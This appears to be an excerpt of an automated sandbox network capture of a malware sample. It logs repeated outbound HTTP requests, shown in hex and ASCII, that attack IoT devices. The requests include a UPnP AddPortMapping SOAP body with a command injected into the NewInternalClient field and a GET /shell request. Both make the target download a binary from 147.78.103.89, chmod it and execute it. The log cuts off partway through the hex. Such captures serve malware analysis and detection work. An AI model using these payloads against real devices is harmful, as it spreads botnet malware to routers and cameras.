79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:28:14.714802027 CET443INHTTP/1.1 403 Forbidden
                                                      Connection: close
                                                      Content-Type: text/html; charset=utf-8
                                                      Content-Length: 337
                                                      Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 36 22 3e 3c 74 69 74 6c 65 3e 4e 54 52 33 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 69 66 72 61 6d 65 20 73 72 63 3d 22 68 74 74 70 3a 2f 2f 31 30 2e 31 30 2e 33 34 2e 33 36 2f 3f 74 79 70 65 3d 49 6e 76 61 6c 69 64 20 4b 65 79 77 6f 72 64 26 70 6f 6c 69 63 79 3d 4d 61 69 6e 50 6f 6c 69 63 79 20 22 20 73 74 79 6c 65 3d 22 77 69 64 74 68 3a 20 31 30 30 25 3b 20 68 65 69 67 68 74 3a 20 31 30 30 25 22 20 73 63 72 6f 6c 6c 69 6e 67 3d 22 6e 6f 22 20 6d 61 72 67 69 6e 77 69 64 74 68 3d 22 30 22 20 6d 61 72 67 69 6e 68 65 69 67 68 74 3d 22 30 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 22 30 22 20 76 73 70 61 63 65 3d 22 30 22 20 68 73 70 61 63 65 3d 22 30 22 3e 3c 2f 69 66 72 61 6d 65 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a
                                                      Data Ascii: <html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1256"><title>NTR3</title></head><body><iframe src="http://10.10.34.36/?type=Invalid Keyword&policy=MainPolicy " style="width: 100%; height: 100%" scrolling="no" marginwidth="0" marginheight="0" frameborder="0" vspace="0" hspace="0"></iframe></body></html>


                                                      Session IDSource IPSource PortDestination IPDestination Port
                                                      128192.168.2.154417845.138.135.10352869
                                                      TimestampBytes transferredDirectionData
                                                      Mar 13, 2024 16:28:14.705600977 CET971OUTPOST /wanipcn.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:28:14.949995041 CET443INHTTP/1.1 403 Forbidden
                                                      Connection: close
                                                      Content-Type: text/html; charset=utf-8
                                                      Content-Length: 337
                                                      Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 36 22 3e 3c 74 69 74 6c 65 3e 4e 54 52 33 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 69 66 72 61 6d 65 20 73 72 63 3d 22 68 74 74 70 3a 2f 2f 31 30 2e 31 30 2e 33 34 2e 33 36 2f 3f 74 79 70 65 3d 49 6e 76 61 6c 69 64 20 4b 65 79 77 6f 72 64 26 70 6f 6c 69 63 79 3d 4d 61 69 6e 50 6f 6c 69 63 79 20 22 20 73 74 79 6c 65 3d 22 77 69 64 74 68 3a 20 31 30 30 25 3b 20 68 65 69 67 68 74 3a 20 31 30 30 25 22 20 73 63 72 6f 6c 6c 69 6e 67 3d 22 6e 6f 22 20 6d 61 72 67 69 6e 77 69 64 74 68 3d 22 30 22 20 6d 61 72 67 69 6e 68 65 69 67 68 74 3d 22 30 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 22 30 22 20 76 73 70 61 63 65 3d 22 30 22 20 68 73 70 61 63 65 3d 22 30 22 3e 3c 2f 69 66 72 61 6d 65 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a
                                                      Data Ascii: <html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1256"><title>NTR3</title></head><body><iframe src="http://10.10.34.36/?type=Invalid Keyword&policy=MainPolicy " style="width: 100%; height: 100%" scrolling="no" marginwidth="0" marginheight="0" frameborder="0" vspace="0" hspace="0"></iframe></body></html>


                                                      Session IDSource IPSource PortDestination IPDestination Port
                                                      129192.168.2.1558508144.146.35.695501
                                                      TimestampBytes transferredDirectionData
                                                      Mar 13, 2024 16:28:16.846101999 CET273OUTGET /shell?cd+/tmp;rm+-rf+*;wget+147.78.103.89/bins/arm7;chmod+777+/tmp/arm7;sh+/tmp/arm7+Jaws HTTP/1.1
                                                      User-Agent: Hello, world
                                                      Host: 127.0.0.1:80
                                                      Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
                                                      Connection: keep-alive


                                                      Session IDSource IPSource PortDestination IPDestination Port
                                                      130192.168.2.156034845.195.121.20252869
                                                      TimestampBytes transferredDirectionData
                                                      Mar 13, 2024 16:28:17.302031994 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:28:18.968533993 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:28:20.952385902 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:28:24.888329983 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:28:32.824098110 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 